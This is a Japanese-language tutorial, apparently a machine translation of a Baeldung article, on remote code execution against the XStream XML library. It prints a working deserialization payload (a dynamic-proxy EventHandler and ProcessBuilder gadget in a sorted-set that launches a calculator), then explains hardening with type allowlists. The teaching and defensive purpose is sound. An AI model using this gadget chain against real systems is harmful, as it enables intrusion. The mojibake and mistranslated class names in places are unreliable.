XStreamを使用したリモートコード実行

  • Data

  • link:/category/security-2/ [セキュリティ]

1. 概要

このチュートリアルでは、XStream XMLシリアル化ライブラリに対するリモートコード実行攻撃を分析します。 このエクスプロイトは、攻撃の「信頼できないデシリアライゼーション」カテゴリに分類されます。
XStreamがこの攻撃に対して脆弱な場合、攻撃の仕組み、およびそのような攻撃を防ぐ方法について学習します。

2. XStreamの基本

攻撃について説明する前に、XStreamの基本をいくつか見てみましょう。 XStreamは、Java型とXMLの間で変換するXMLシリアル化ライブラリです。 単純な_Person_クラスを考えてみましょう:
public class Person {
    private String first;
    private String last;

    // standard getters and setters
}
link:/xstream-serialize-object-to-xml[XStreamが_Person_インスタンスをXMLに書き込む方法]を見てみましょう。
XStream xstream = new XStream();
String xml = xstream.toXML(person);
同様に、https://www.baeldung.com/xstream-deserialize-xml-to-object [XStreamはXMLを_Person_のインスタンスに読み込むことができます]:
XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);
どちらの場合も、XStreamはlink:/java-reflection[Java reflection]を使用して、_Person_型とXMLの相互変換を行います。 攻撃はXMLの読み取り中に発生します。 XMLを読み取るとき、XStreamはリフレクションを使用してJavaクラスをインスタンス化します。
  • XStreamがインスタンス化するクラスは、解析するXML要素の名前によって決定されます。*

    _Person_タイプを認識するようにXStreamを構成したため、XStreamは、「person」という名前のXML要素を解析するときに新しい_Person_をインスタンス化します。
    _Person_などのユーザー定義型に加えて、XStreamはコアJava型をすぐに認識します。 たとえば、XStreamはXMLから_Map_を読み取ることができます。
String xml = ""
    + "<map>"
    + "  <element>"
    + "    <string>foo</string>"
    + "    <int>10</int>"
    + "  </element>"
    + "</map>";
XStream xStream = new XStream();
Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);
コアJava型を表すXMLを読み取るXStreamの機能が、リモートコード実行のエクスプロイトでどのように役立つかを確認します。

3. 攻撃の仕組み

リモートコード実行攻撃は、攻撃者が最終的にコードとして解釈される入力を提供したときに発生します。 この場合、攻撃者は攻撃コードをXMLとして提供することにより、XStreamの逆シリアル化戦略を悪用します。
クラスの正しい構成により、XStreamは最終的にJavaリフレクションを介して攻撃コードを実行します。
攻撃の例を作成しましょう。

3.1. _ProcessBuilder_に攻撃コードを含める

私たちの攻撃の目的は、新しいデスクトップ計算プロセスを開始することです。 macOSでは、これは「/Applications/Calculator.app」です。 Windowsでは、これは「calc.exe」です。 そのために、XProcessを使用して、_ProcessBuilder._を使用して新しいプロセスを実行するようにします。
new ProcessBuilder().command("executable-name-here").start();
XMLを読み取るとき、XStreamはコンストラクターを呼び出してフィールドを設定するだけです。 したがって、攻撃者は_ProcessBuilder.start()_メソッドを呼び出す簡単な方法を持っていません。
ただし、巧妙な攻撃者はクラスの正しい構成を使用して、最終的に_ProcessBuilder_â€〜s _start()_メソッドを実行できます。
セキュリティ研究者http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html[Dinis Cruzがブログ投稿で示しています]彼らが_Comparable_インターフェースを使用して攻撃コードを呼び出す方法ソートされたコレクションのコピーコンストラクター_TreeSet._ここでアプローチを要約します。

3.2. _Comparable_動的プロキシを作成する

攻撃者は_ProcessBuilder_を作成し、_start()_メソッドを呼び出す必要があることを思い出してください。 そのためには、_Compare_メソッドが_ProcessBuilder_â€〜s _start()_メソッドを呼び出す_Comparable_のインスタンスを作成します。
*幸いなことに、https://www.baeldung.com/java-dynamic-proxies [Java Dynamic Proxies]を使用すると、_Comparable_ dynamic __.__ *のインスタンスを作成できます。
さらに、Javaの_EventHandler_クラスは、構成可能な_InvocationHandler_実装を攻撃者に提供します。 *攻撃者は、_EventBuilder_を設定して、_ProcessBuilder_âの_start()_メソッドを呼び出します。*
これらのコンポーネントをまとめると、_Comparable_プロキシのXStream XML表現ができます。
<dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

3.3. _Comparable_動的プロキシを使用して比較を強制する

_Comparable_プロキシとの比較を強制するために、ソートされたコレクションを作成します。 * 2つの_Comparable_インスタンスを比較する_TreeSet_コレクションを作成してみましょう:_String_とプロキシ。*
このコレクションを構築するには、_TreeSet_âのコピーコンストラクターを使用します。 最後に、プロキシと_String_を含む新しい_TreeSet_のXStream XML表現があります。
<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>/Applications/Calculator.app</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>
最終的に、XStreamがこのXMLを読み取るときに攻撃が発生します。 開発者はXStreamが_Person_を読み取ることを期待していますが、代わりに攻撃を実行します。
String sortedSortAttack = // XML from above
XStream xstream = new XStream();
Person person = (Person) xstream.fromXML(sortedSortAttack);

3.4. 攻撃の概要

XStreamがこのXMLをデシリアライズするときに行うリフレクションコールを要約しましょう
  1. XStreamは、Collection_で_TreeSet_コピーコンストラクターを呼び出します
    _String
    “foo”と_Comparable_プロキシを含む。

  2. _TreeSet_コンストラクターは、_Comparable_プロキシーの_compareTo_を呼び出します
    ソートされたセット内のアイテムの順序を決定するためのメソッド。

  3. Comparable_動的プロキシは、すべてのメソッド呼び出しを
    _EventHandler

  4. _EventHandler_は、の_start()_メソッドを呼び出すように構成されています
    _ProcessBuilder_それが構成します。

  5. _ProcessBuilder_は、コマンドを実行する新しいプロセスをフォークします
    攻撃者は実行を望んでいます。

4. XStreamが脆弱なのはいつですか?

*攻撃者が読み取るXMLを攻撃者が制御すると、XStreamはこのリモートコード実行攻撃に対して脆弱になる可能性があります。*
たとえば、XML入力を受け入れるREST APIを検討してください。 このREST APIがXStreamを使用してXML要求本文を読み取る場合、APIに送信されるXMLのコンテンツを攻撃者が制御するため、リモートコード実行攻撃に対して脆弱になる可能性があります。
一方、XStreamのみを使用して信頼できるXMLを読み取るアプリケーションでは、攻撃対象領域がはるかに小さくなります。
たとえば、XStreamのみを使用して、アプリケーション管理者が設定したXML構成ファイルを読み取るアプリケーションを考えます。 攻撃者はアプリケーションが読み取るXML(管理者)を制御できないため、このアプリケーションはXStreamリモートコード実行にさらされません。

5. リモートコード実行攻撃に対するXStreamの強化

幸いなことに、XStreamはバージョン1.4.7でhttps://x-stream.github.io/security.html [セキュリティフレームワーク]を導入しました。 セキュリティフレームワークを使用して、リモートコード実行攻撃に対する例を強化できます。 *セキュリティフレームワークにより、インスタンス化が許可されているタイプのホワイトリストでXStreamを設定できます。*
このリストには、基本タイプと_Person_クラスのみが含まれます。
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });
さらに、XStreamユーザーは、ランタイムアプリケーション自己保護(RASP)エージェントを使用してシステムを強化することを検討できます。 * RASPエージェントは、実行時にlink:/java-instrumentation[bytecode instrumentation]を使用して、攻撃を自動的に検出およびブロックします。*この手法は、タイプのホワイトリストを手動で作成するよりもエラーが発生しにくいです。

6. 結論

この記事では、XStreamを使用してXMLを読み取るアプリケーションでリモートコード実行攻撃を実行する方法を学びました。 このような攻撃が存在するため、XStreamを使用して信頼できないソースからXMLを読み取る場合、XStreamを強化する必要があります。
XStreamはリフレクションを使用して、攻撃者のXMLによって識別されたJavaクラスをインスタンス化するため、エクスプロイトが存在します。
いつものように、例のコードはhttps://github.com/eugenp/tutorials/tree/master/xstream[GitHubで]にあります。